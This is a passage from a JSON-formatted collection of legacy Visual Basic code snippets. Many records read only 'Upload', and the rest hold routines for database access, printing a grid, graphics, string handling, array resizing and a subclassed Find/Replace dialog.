Function\n"},{"WorldId":1,"id":6471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7627,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6490,"LineNumber":1,"line":"Public Sub MultipleRecordSets()\nDim AdoConn As Object\nDim AdoRs As Object\nDim I As Integer\n \nSet AdoConn = CreateObject(\"ADODB.Connection\")\nAdoConn.Open ConnectionString\n'stored procedure which returns multiple record sets\nssql = \"StoredProcedure Parameter1, Parameter2, ... \"\nSet AdoRs = AdoConn.Execute(ssql)\nDo Until AdoRs Is Nothing\n While Not AdoRs.EOF\n For I = 0 To AdoRs.Fields.Count - 1\n Debug.Print AdoRs.Fields(I)\n Next I\n AdoRs.MoveNext\n Wend\n Set AdoRs = AdoRs.NextRecordset\nLoop\nEnd Sub\n"},{"WorldId":1,"id":10110,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8146,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6504,"LineNumber":1,"line":"Private Sub Command1_Click()\n X = PrintMSHGrid(MSHFlexGrid1)\nEnd Sub\nPublic Function PrintMSHGrid(ByVal GridToPrint As MSHFlexGrid) As Long\n'This function retrieves data from MSHFlexGrid and prints it directly to the\n'printer. It uses MyArray to store the distance between columns. The max number\n'of columns is 50, but it can be increased if there is a need.\n'Print information from mshflexgrid\n Dim MyRows, MyCols As Integer 'for-loop counters\n Dim MyText As String 'text to be printed\n Dim Titles As String 'column titles\n Dim Header As String 'page headers\n Dim MyLines As Integer 'number of lines for portrait/landscape\n Dim LLCount As Integer 'temporary line counter\n Dim MyArray(50) As Integer\n Screen.MousePointer = vbHourglass\n Titles = \"\"\n LLCount = 0\n Header = \" - Page: \" 'setup page header\n 'get column headers\n For MyCols = 0 To GridToPrint.Cols - 1\n MyArray(MyCols) = Len(GridToPrint.ColHeaderCaption(0, MyCols)) + 15\n Titles = Titles & Space(15) & GridToPrint.ColHeaderCaption(0, MyCols)\n Next MyCols\n 'setup printer\n Printer.Font.Size = 8 '8pts font size\n Printer.Font.Bold = True 'titles to be bold\n Printer.Font.Name = \"Courier New\" 'courier new font\n 'determine whether to print landscape or portrait\n If (Len(MyText) > 120) Then 'landscape\n Printer.Orientation = vbPRORLandscape\n MyLines = 60\n Else 'portrait\n Printer.Orientation = vbPRORPortrait\n MyLines = 85\n End If\n Printer.Print Header; Printer.Page\n Printer.Print Titles\n Printer.Font.Bold = False\n 'get column/row values\n For MyRows = 1 To GridToPrint.Rows - 1\n MyText = \"\"\n GridToPrint.Row = MyRows\n For MyCols = 0 To GridToPrint.Cols - 1\n GridToPrint.Col = MyCols\n MyText = MyText & GridToPrint.Text & Space(MyArray(MyCols) - Len(GridToPrint.Text))\n Next MyCols\n LLCount = LLCount + 1\n If LLCount <= MyLines Then\n Printer.Print MyText\n Else\n Printer.NewPage\n Printer.Print Header; Printer.Page\n Printer.Print Titles\n Printer.Print MyText\n LLCount = 0\n End If\n Next MyRows\n Printer.EndDoc\n Screen.MousePointer = vbNormal\nEnd Function\n"},{"WorldId":1,"id":7556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7431,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7487,"LineNumber":1,"line":"Private Sub Form_Load()\nText3D \"Hallo\", \"Times New Roman\", 26, 1500, 200, 100, 146, 16, 46\nEnd Sub\nPublic Sub Text3D(Strng As String, Fnt As String, Font_size As Integer, XVal As Integer, YVal As Integer, Depth As Integer, Redcol As Integer, Greencol As Integer, Bluecol As Integer)\nForm1.AutoRedraw = True\nForm1.FontSize = Font_size\nForm1.Font = Fnt\nForm1.ForeColor = RGB(Redcol, Greencol, Bluecol)\nShadowY = YVal\nShadowX = XVal\nFor i = 0 To Depth\nForm1.CurrentX = ShadowX - i\nForm1.CurrentY = ShadowY + i\nIf i = Depth Then Form1.ForeColor = RGB(Redcol + 80, Greencol + 80, Bluecol + 80)\nForm1.Print Strng\nNext i\nForm1.AutoRedraw = False\nEnd Sub\n"},{"WorldId":1,"id":6997,"LineNumber":1,"line":"Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nX1 = X\nY1 = Y\nEnd Sub\nPrivate Sub Form_DragDrop(Source As Control, X As Single, Y As Single)\nSource.Top = Y - Y1\nSource.Left = X - X1\nEnd Sub\nPrivate Sub Label1_DragDrop(Source As Control, X As Single, Y As Single)\nSource.Top = Label1.Top + Y - Y1\nSource.Left = Label1.Left + X - X1\nEnd Sub\nPrivate Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nX1 = X\nY1 = Y\nEnd Sub"},{"WorldId":1,"id":6520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7407,"LineNumber":1,"line":"Option Explicit\nPrivate DX7 As DirectX7\nPrivate DXD As DirectDraw7\nPrivate DXDS As DirectDrawSurface7\nPrivate DXSD As DDSURFACEDESC2\nPrivate Sub Form_Load()\n Dim i As Long, j As Long\n \n frmMain.Show\n 'Create a DirectX7-Object and a DirectDraw-Object\n Set DX7 = New DirectX7\n Set DXD = DX7.DirectDrawCreate(\"\")\n With DXSD\n .lFlags = DDSD_CAPS\n .ddsCaps.lCaps = DDSCAPS_PRIMARYSURFACE\n End With\n 'Fullscreen and set the resolution to 640 X 480\n DXD.SetCooperativeLevel frmMain.hWnd, DDSCL_EXCLUSIVE Or DDSCL_FULLSCREEN\n DXD.SetDisplayMode 640, 480, 16, 0, DDSDM_DEFAULT\n 'Create the Surface using the Surfacedescription DXSD\n Set DXDS = DXD.CreateSurface(DXSD)\n i = 0\n Do Until DoEvents()\n For j = 0 To ScaleWidth Step 50\n 'Set the Linecolor\n DXDS.SetForeColor i\n 'Draw the line\n DXDS.DrawLine Rnd * Screen.Width, Rnd * Screen.Height, j, 0\n i = i + 1\n 'Change the color\n If i = 65536 Then\n i = 0\n End If\n Next j\n Loop\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Call endp\nEnd Sub\nPrivate Sub endp()\n 'Clean up things\n DXD.RestoreDisplayMode\n Set DX7 = Nothing\n Set DXD = Nothing\n Set DXDS = Nothing\n End\nEnd Sub"},{"WorldId":1,"id":8514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9616,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9620,"LineNumber":1,"line":"'*****Form1*****'\nOption Explicit\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n PostQuitMessage 0&\nEnd Sub\n'*****Module1*****'\nOption Explicit\nPublic Declare Function PeekMessage Lib \"user32\" Alias \"PeekMessageA\" (lpMsg As msg, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long\nPublic Declare Function DispatchMessage Lib \"user32\" Alias \"DispatchMessageA\" (lpMsg As msg) As Long\nPublic Declare Function TranslateMessage Lib \"user32\" (lpMsg As msg) As Long\nPublic Declare Sub PostQuitMessage Lib \"user32\" (ByVal nExitCode As Long)\nPublic Type POINTAPI\n x As Long\n y As Long\nEnd Type\nPublic Type msg\n hwnd As Long\n message As Long\n wParam As Long\n lParam As Long\n time As Long\n pt As POINTAPI\nEnd Type\nPublic Const PM_REMOVE = &H1\nPublic Const WM_QUIT = &H12\nPublic Const WM_RBUTTONDOWN = &H204\nPrivate Sub Main()\n Dim tMsg As msg\n \n Load Form1\n Form1.Show\n Do\n If PeekMessage(tMsg, 0, 0, 0, PM_REMOVE) Then\n If tMsg.message = WM_QUIT Then Exit Do\n If tMsg.message = WM_RBUTTONDOWN Then\n MsgBox \"You clicked the right mousebutton!\" & vbCr & \"Press a key to end the app\"\n End If\n TranslateMessage tMsg\n DispatchMessage tMsg\n Else\n 'There's nothing to do for your App!\n 'In a game you could draw a new frame,\n 'this is much faster than using the Timer!\n End If\n Loop Until False\n Unload Form1\nEnd Sub\n"},{"WorldId":1,"id":8862,"LineNumber":1,"line":"Public Sub SetBold(frmBold As Form, iMenuIndex As Long, iItemIndex As Long)\nDim hMnu As Long, hSubMnu As Long\nhMnu = GetMenu(frmBold.hwnd)\nhSubMnu = GetSubMenu(hMnu, iMenuIndex)\nCall SetMenuDefaultItem(hSubMnu, iItemIndex, 1&)\nEnd Sub"},{"WorldId":1,"id":6523,"LineNumber":1,"line":"Option Explicit\nPrivate Sub btnConvert_Click()\n Text2.Text = toCapitals(Text1.Text)\nEnd Sub\nPrivate Sub Form_Load()\nText1 = \"the cat in the hat works in the c.i.a.\"\nText2 = \"\"\nEnd Sub\nFunction toCapitals(strLowerCase)\n Dim ii, jj\n \n '--- determine how long the string to be converted is\n ii = Len(strLowerCase)\n \n '--- first letter of string will always be capitalised\n toCapitals = UCase(Mid(strLowerCase, 1, 1))\n \n '--- Check the rest of the unconverted string\n '--- We capitalise the next letter whenever we find a space or a break\n For jj = 1 To ii - 1\n If Mid(strLowerCase, jj, 1) = \" \" Or Mid(strLowerCase, jj, 1) = \".\" Then\n toCapitals = toCapitals & UCase(Mid(strLowerCase, jj + 1, 1))\n Else\n toCapitals = toCapitals & Mid(strLowerCase, jj + 1, 1)\n End If\n Next\nEnd Function\n"},{"WorldId":1,"id":8508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8344,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8424,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9625,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8893,"LineNumber":1,"line":"Private Sub Form_Load()\n Dim WorkAry() As String\n Dim row As Integer, col As Integer, rowsize As Integer\n \n rowsize = 5\n ReDim WorkAry(rowsize, 5)\n For row = 0 To 5\n For col = 0 To 5\n WorkAry(row, col) = row & \"-\" & col\n Next col\n Next row\n rowsize = rowsize + 1\n Call Redim_Array(WorkAry(), rowsize)\n \n'** now add data into the extra line for WorkAry() array. **\n col = 0\n For col = 0 To 5\n WorkAry(rowsize, col) = rowsize & \"-\" & col\n Next col\nEnd Sub\nPrivate Sub Redim_Array(WrkAry() As String, NewRowSize As Integer)\n'** Redim a multi-dimension array that will allow an extra row to be added.\n Dim TempAry() As String\n Dim row As Integer, col As Integer, CurRows As Integer\n \n'** Arrays look like this, Ary(Row, Col) with rows first then columns. **\n CurRows = NewRowSize - 1 '** need to get WrkAry() current row number. **\n \n ReDim TempAry(CurRows, 5) '** create same size temp array as in coming WrkAry() array. **\n '** the columns will stay the same. **\n \n '** move multi-dimension WrkAry() to an exact copy multi-dimension TempAry(). **\n For row = 0 To CurRows\n For col = 0 To 5\n TempAry(row, col) = WrkAry(row, col)\n Next col\n Next row\n \n ReDim WrkAry(NewRowSize, 5) '** re-dimension WrkAry() with one more row. **\n \n'** copy TempAry() to WrkAry() which is now one row larger but not being used at this time. **\n For row = 0 To CurRows\n For col = 0 To 5\n WrkAry(row, col) = TempAry(row, col)\n Next col\n Next row\n'** WrkAry() will keep all of its original data and has one more row for more data later. **\nEnd Sub\n"},{"WorldId":1,"id":8729,"LineNumber":1,"line":"Private Sub Creat_Table()\n Dim stSQLstr As String\n Dim dbs As Database\n stSQLstr = \"CREATE TABLE NameTbl (NameID COUNTER CONSTRAINT PrimaryKey PRIMARY KEY, FirstName Text (15), LastName Text (20));\"\n Set dbs = OpenDatabase(\"c:\\test\\Demo.mdb\")\n dbs.Execute stSQLstr\n dbs.Close\nEnd Sub"},{"WorldId":1,"id":7804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8983,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7297,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9576,"LineNumber":1,"line":"\nPublic Function Convert(orgStr As String) As String\nFor Counter = 1 To Len(orgStr)\nX = Mid(orgStr, Counter, 1)\nIf X = LCase(X) Then\n X = UCase(X)\nElse\n X = LCase(X)\nEnd If\nConvert = Convert & X\nNext\nEnd Function"},{"WorldId":1,"id":9046,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7655,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9291,"LineNumber":1,"line":"Sub GetMDBDescription()\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'Creator chris hankey\n'Inputs none\n'Returns none\n'Created 1/14/2000\n'Modified\n'Notes extracts all field and table descriptions from the database\n' indicated by the user and loads them into the active sheet.\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n Dim sPath As String\n Dim db As Database\n Dim tdf As TableDef\n Dim qdf As QueryDef\n Dim fld As Field\n Dim iRow As Integer\n Dim sTemp As String\n \n On Error GoTo ErrorHandler\n \n \n \n \n 'get the path of the mdb from the user\n sPath = InputBox(\"Please enter the MDB's path\")\n 'clear the sheets contents. Also removes all formatting\n Cells.Delete\n \n iRow = 1\n 'exit the sub if the user does not enter a path\n If sPath <> vbNullString Then\n 'test the path to make sure that it actually points to a file\n sPathTest = Dir(sPath, vbNormal)\n \n Set db = OpenDatabase(sPath)\n \n 'format the sheet now that we have received a valid MDB\n 'to open\n Columns(\"A:A\").VerticalAlignment = xlTop\n Columns(\"A:A\").ColumnWidth = 36\n Columns(\"B:B\").VerticalAlignment = xlTop\n Columns(\"B:B\").WrapText = True\n Columns(\"B:B\").ColumnWidth = 26\n Columns(\"D:D\").VerticalAlignment = xlTop\n Columns(\"D:D\").WrapText = True\n Columns(\"D:D\").ColumnWidth = 43\n \n ActiveSheet.Cells(iRow, 1) = \"Tables\"\n ActiveSheet.Cells(iRow, 1).Font.Bold = True\n ActiveSheet.Cells(iRow, 1).Font.Size = 12\n iRow = iRow + 1\n \n 'scroll thru the tabledefs\n For Each tdf In db.TableDefs\n \n 'skip Access System tables - they all start with MSys\n If Left(tdf.Name, 4) <> \"MSys\" Then\n ActiveSheet.Cells(iRow, 1) = tdf.Name\n ActiveSheet.Cells(iRow, 1).Font.Bold = True\n ActiveSheet.Cells(iRow, 1).Font.Underline = xlUnderlineStyleSingle\n ActiveSheet.Cells(iRow, 2) = tdf.Properties(\"Description\")\n \n 'merge the cells for the table descriptions\n sTemp = \"B\" & iRow & \":D\" & iRow\n Range(sTemp).MergeCells = True\n \n iRow = iRow + 1\n \n 'generate a header for the fields\n ActiveSheet.Cells(iRow, 2) = \"Field Name\"\n ActiveSheet.Cells(iRow, 2).Font.Bold = True\n ActiveSheet.Cells(iRow, 2).Font.Underline = xlUnderlineStyleSingle\n ActiveSheet.Cells(iRow, 3) = \"Type\"\n ActiveSheet.Cells(iRow, 3).Font.Bold = True\n ActiveSheet.Cells(iRow, 3).Font.Underline = xlUnderlineStyleSingle\n ActiveSheet.Cells(iRow, 4) = \"Description\"\n ActiveSheet.Cells(iRow, 2).Font.Bold = True\n ActiveSheet.Cells(iRow, 4).Font.Underline = xlUnderlineStyleSingle\n iRow = iRow + 1\n \n 'scroll thru the fields\n For Each fld In tdf.Fields\n \n ActiveSheet.Cells(iRow, 2) = fld.Name\n ActiveSheet.Cells(iRow, 2).Font.Bold = True\n ActiveSheet.Cells(iRow, 3) = TypeName(fld.Type)\n ActiveSheet.Cells(iRow, 4) = fld.Properties(\"Description\")\n iRow = iRow + 1\n Next fld\n iRow = iRow + 1\n End If\n Next tdf\n \n 'generate a query section header\n iRow = iRow + 1\n ActiveSheet.Cells(iRow, 1) = \"Queries\"\n ActiveSheet.Cells(iRow, 1).Font.Bold = True\n ActiveSheet.Cells(iRow, 1).Font.Size = 12\n \n 'merge the cells for the Query descriptions\n sTemp = \"B\" & iRow & \":D\" & iRow\n Range(sTemp).MergeCells = True\n iRow = iRow + 1\n 'scroll thru the queries\n For Each qdf In db.QueryDefs\n ActiveSheet.Cells(iRow, 1) = qdf.Name\n ActiveSheet.Cells(iRow, 1).Font.Bold = True\n ActiveSheet.Cells(iRow, 1).Font.Underline = xlUnderlineStyleSingle\n ActiveSheet.Cells(iRow, 4) = qdf.Properties(\"Description\")\n \n 'merge the cells for the Query descriptions\n sTemp = \"B\" & iRow & \":D\" & iRow\n Range(sTemp).MergeCells = True\n iRow = iRow + 1\n Next qdf\n End If\nExitSub:\n Exit Sub\nErrorHandler:\n Select Case Err\n Case 3270 'property not found\n Resume Next\n Case Else\n MsgBox Err.Description\n GoTo ExitSub\n End Select\nEnd Sub\nFunction TypeName(iType As Integer) As String\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n'Creator chris hankey\n'Inputs iType - data type of field\n'Returns string containing name of type\n'Created 1/14/2000\n'Modified\n'Notes\n'\n''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n Select Case iType\n Case dbBigInt\n TypeName = \"Big Integer\"\n Case dbBinary\n TypeName = \"Binary\"\n Case dbBoolean\n TypeName = \"Boolean\"\n Case dbByte\n TypeName = \"Byte\"\n Case dbChar\n TypeName = \"Char\"\n Case dbCurrency\n TypeName = \"Currency\"\n Case dbDate\n TypeName = \"Date\"\n Case dbDecimal\n TypeName = \"Decimal\"\n Case dbDouble\n TypeName = \"Double\"\n Case dbFloat\n TypeName = \"Float\"\n Case dbGUID\n TypeName = \"GUID\"\n Case dbInteger\n TypeName = \"Integer\"\n Case dbLong\n TypeName = \"Long\"\n Case dbLongBinary\n TypeName = \"Long Binary\"\n Case dbMemo\n TypeName = \"Memo\"\n Case dbNumeric\n TypeName = \"Numeric\"\n Case dbSingle\n TypeName = \"Single\"\n Case dbText\n TypeName = \"Text\"\n Case dbTime\n TypeName = \"Time\"\n Case dbTimeStamp\n TypeName = \"Time Stamp\"\n Case dbVarBinary\n TypeName = \"VarBinary\"\n Case Else\n TypeName = \"\"\n End Select\nEnd Function\n"},{"WorldId":1,"id":9289,"LineNumber":1,"line":"1) Start a new project. \n2) Add a textbox to Form1... You can make it MultiLine with scrollbars if you want. \n3) Add two command buttons to Form1. \n4) Add the following code to the Form1 Declarations Section: \n'------------------------------------------------------------------------------- \n Private Sub Command1_Click() \n ShowFindDialog FindDialogBox, Me, Text1 \n End Sub \n \n Private Sub Command2_Click() \n ShowFindDialog ReplaceDialogBox, Me, Text1 \n End Sub \n'------------------------------------------------------------------------------- \n\n\n5) Add a module to the program and then paste the following code into the Declarations Section of the module: \n\n'------------------------------------------------------------------------------- \n Public Const GWL_WNDPROC = (-4) \n Public Const WM_LBUTTONDOWN = &H201 \n Public Const FR_NOMATCHCASE = &H800 \n Public Const FR_NOUPDOWN = &H400 \n Public Const FR_NOWHOLEWORD = &H1000 \n Public Const EM_SETSEL = &HB1 \n Public Const MaxPatternLen = 50 'Maximum Pattern Length \n Public Const GD_MATCHWORD = &H410 \n Public Const GD_MATCHCASE = &H411 \n Public Const GD_SEARCHUP = &H420 \n Public Const GD_SEARCHDN = &H421 \n Public Const BST_UNCHECKED = &H0 \n Public Const BST_CHECKED = &H1 \n Public Const BST_INDETERMINATE = &H2 \n \n Public Type FINDREPLACE \n lStructSize As Long ' size of this struct 0x20 \n hwndOwner As Long ' handle to owner's window \n hInstance As Long ' instance handle of.EXE that \n ' contains cust. dlg. template \n flags As Long ' one or more of the FR_?? \n lpstrFindWhat As Long ' ptr. to search string \n lpstrReplaceWith As Long ' ptr. to replace string \n wFindWhatLen As Integer ' size of find buffer \n wReplaceWithLen As Integer ' size of replace buffer \n lCustData As Long ' data passed to hook fn. \n lpfnHook As Long ' ptr. to hook fn. or NULL \n lpTemplateName As Long ' custom template name \n End Type \n \n Public Enum FR_DIALOG_TYPE \n FindDialogBox = 0 \n ReplaceDialogBox = 1 \n End Enum \n \n Public Declare Function FindText Lib \"comdlg32.dll\" Alias \"FindTextA\" _ \n (pFindreplace As FINDREPLACE) As Long \n Public Declare Function ReplaceText Lib \"comdlg32.dll\" Alias \"ReplaceTextA\" _ \n (pFindreplace As FINDREPLACE) As Long \n Public Declare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" _ \n (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long \n Public Declare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" _ \n (ByVal hwnd As Long, ByVal nIndex As Long) As Long \n Public Declare Function CallWindowProc Lib \"user32\" Alias \"CallWindowProcA\" _ \n (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, _ \n ByVal wParam As Long, ByVal lParam As Long) As Long \n Public Declare Function GetDlgItem Lib \"user32\" (ByVal hDlg As Long, _ \n ByVal nIDDlgItem As Long) As Long \n Public Declare Function GetWindowText Lib \"user32\" Alias \"GetWindowTextA\" _ \n (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long \n Public Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" _ \n (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, _ \n ByVal lParam As Long) As Long \n Public Declare Function SetFocus Lib \"user32\" (ByVal hwnd As Long) As Long \n Public Declare Function IsDlgButtonChecked Lib \"user32\" _ \n (ByVal hDlg As Long, ByVal nIDButton As Long) As Long \n Public Declare Function CheckDlgButton Lib \"user32\" _ \n (ByVal hDlg As Long, ByVal nIDButton As Long, ByVal wCheck As Long) As Long \n \n \n Global gOldFindDlgWndHandle As Long \n Global gOldCancelDlgWndHandle As Long \n Global gOldReplaceDlgWndHandle As Long \n Global gOldReplaceAllDlgWndHandle As Long \n Global frText As FINDREPLACE \n Global gHDlg As Long \n Global gFindObj As Object \n Global ghFindCmdBtn As Long 'handle of 'Find Next' command button \n Global ghCancelCmdBtn As Long 'handle of 'Cancel' command button \n Global ghReplaceCmdBtn As Long 'handle of 'Replace' command button \n Global ghReplaceAllCmdBtn As Long 'handle of 'Replace All' command button \n Global gIsDlgReplaceBox As Boolean \n Function FindTextHookProc(ByVal hDlg As Long, ByVal uMsg As Long, _ \n ByVal wParam As Long, ByVal lParam As Long) As Long \n '========================================================= \n ' This is the window hook function for the Find/Replace \n ' dialog boxes. All of the hooks are handled here! \n '========================================================= \n \n Dim strPtnFind As String 'pattern string \n Dim hFindTxtBox As Long 'handle of the FIND text box in dialog box \n Dim strPtnReplace As String 'pattern string \n Dim hReplaceTxtBox As Long 'handle of the REPLACE text box in dialog box \n Dim ptnLen As Integer 'actual length read by GetWindowString \n Dim lMatchWord As Boolean 'match word switch \n Dim lMatchCase As Boolean 'match case switch \n Dim lSearchUp As Boolean 'search up switch \n Dim lSearchDn As Boolean 'search down switch \n Dim iVal As Long \n \n strPtnFind = Space(MaxPatternLen) \n strPtnReplace = Space(MaxPatternLen) \n \n Select Case uMsg \n Case WM_LBUTTONDOWN \n '========================================================= \n ' We have trapped a button down event! \n '========================================================= \n \n 'DEBUG - FIND ALL OF THE DIALOG ITEMS... \n 'For iVal = 0 To 65535 \n ' hFindTxtBox = GetDlgItem(gHDlg, iVal) \n ' If Not hFindTxtBox = 0 Then \n ' strPtnFind = Space(MaxPatternLen) \n ' ptnLen = GetWindowText(hFindTxtBox, strPtnFind, MaxPatternLen) \n ' Debug.Print \"ITEM \" + CStr(iVal) + \" - \" + strPtnFind \n ' End If \n 'Next iVal \n \n 'Get the switches from the dialog box \n lMatchWord = IIf(IsDlgButtonChecked(gHDlg, GD_MATCHWORD) = 1, True, False) \n lMatchCase = IIf(IsDlgButtonChecked(gHDlg, GD_MATCHCASE) = 1, True, False) \n lSearchUp = IIf(IsDlgButtonChecked(gHDlg, GD_SEARCHUP) = 1, True, False) \n lSearchDn = IIf(IsDlgButtonChecked(gHDlg, GD_SEARCHDN) = 1, True, False) \n \n 'Get the FIND pattern string \n hFindTxtBox = GetDlgItem(gHDlg, &H480) \n ptnLen = GetWindowText(hFindTxtBox, strPtnFind, MaxPatternLen) \n strPtnFind = Left$(strPtnFind, ptnLen) \n \n 'Get the REPLACE pattern string IF PRESENT \n hReplaceTxtBox = GetDlgItem(gHDlg, &H481) \n If Not hReplaceTxtBox = 0 Then \n ptnLen = GetWindowText(hReplaceTxtBox, strPtnReplace, MaxPatternLen) \n strPtnReplace = Left$(strPtnReplace, ptnLen) \n End If \n \n 'Call the correct default window procedure \n 'Then Customize the window procedure \n Select Case hDlg \n Case ghFindCmdBtn: 'POST PROCESS FIND BUTTON \n If gOldFindDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldFindDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Call EventFindButton(strPtnFind, lMatchWord, lMatchCase, _ \n lSearchUp, lSearchDn) \n \n Case ghCancelCmdBtn: 'PRE PROCESS CANCEL BUTTON \n Call EventCancelButton \n If gOldCancelDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldCancelDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n \n Case ghReplaceCmdBtn: 'POST PROCESS REPLACE BUTTON \n If gOldReplaceDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldReplaceDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Call EventReplaceButton(strPtnFind, strPtnReplace, lMatchWord, _ \n lMatchCase, lSearchUp, lSearchDn) \n \n Case ghReplaceAllCmdBtn: 'POST PROCESS REPLACE ALL BUTTON \n If gOldReplaceAllDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldReplaceAllDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Call EventReplaceAllButton(strPtnFind, strPtnReplace, lMatchWord, _ \n lMatchCase, lSearchUp, lSearchDn) \n End Select \n \n Case Else \n 'Call the correct default window procedure \n Select Case hDlg \n Case ghFindCmdBtn: \n If gOldFindDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldFindDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Case ghCancelCmdBtn: \n If gOldCancelDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldCancelDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Case ghReplaceCmdBtn: \n If gOldReplaceDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldReplaceDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n Case ghReplaceAllCmdBtn: \n If gOldReplaceAllDlgWndHandle <> 0 Then \n FindTextHookProc = CallWindowProc(gOldReplaceAllDlgWndHandle, _ \n hDlg, uMsg, wParam, lParam) \n End If \n End Select \n End Select \n End Function \n \n Private Sub EventCancelButton() \n '========================================================= \n ' This SUB gets called from FindTextHookProc \n ' when Find/Replace \"CANCEL\" button is pressed \n '========================================================= \n Dim lngReturnValue As Long \n 'UNHOOK ALL OF THE WINDOW HOOKS!!! \n If Not ghFindCmdBtn = 0 Then lngReturnValue = SetWindowLong(ghFindCmdBtn, _ \n GWL_WNDPROC, gOldFindDlgWndHandle) \n If Not ghReplaceCmdBtn = 0 Then lngReturnValue = SetWindowLong(ghReplaceCmdBtn, _ \n GWL_WNDPROC, gOldReplaceDlgWndHandle) \n If Not ghReplaceAllCmdBtn = 0 Then lngReturnValue = SetWindowLong(ghReplaceAllCmdBtn, _ \n GWL_WNDPROC, gOldReplaceAllDlgWndHandle) \n lngReturnValue = SetWindowLong(ghCancelCmdBtn, GWL_WNDPROC, gOldCancelDlgWndHandle) \n \n 'Cleanup the global find object \n Set gFindObj = Nothing \n End Sub \n \n Private Sub EventFindButton(FindString As String, MatchWord As Boolean, _ \n MatchCase As Boolean, SearchUp As Boolean, SearchDn As Boolean) \n '========================================================= \n ' This SUB gets called from FindTextHookProc \n ' when Find/Replace \"FIND\" button is pressed \n ' gFindObj is the object we need to do stuff to... \n '========================================================= \n Dim sp As Integer 'start point of matching string \n Dim ep As Integer 'end point of matchiing string \n \n With gFindObj \n SetFocus .hwnd \n If SearchDn = True Or gIsDlgReplaceBox = True Then 'WE'RE DOING A FORWARD SEARCH! \n sp = InStr(IIf(.SelStart = 0, 1, .SelStart) + .SelLength, .Text, _ \n IIf(MatchWord, \" \" + Trim$(FindString) + \" \", FindString), _ \n IIf(MatchCase, vbBinaryCompare, vbTextCompare)) \n sp = IIf(sp = 0, -1, sp - 1) \n If sp = -1 Then \n MsgBox \"Cannot find \" + Chr$(34) + FindString + Chr$(34) + \".\", _ \n 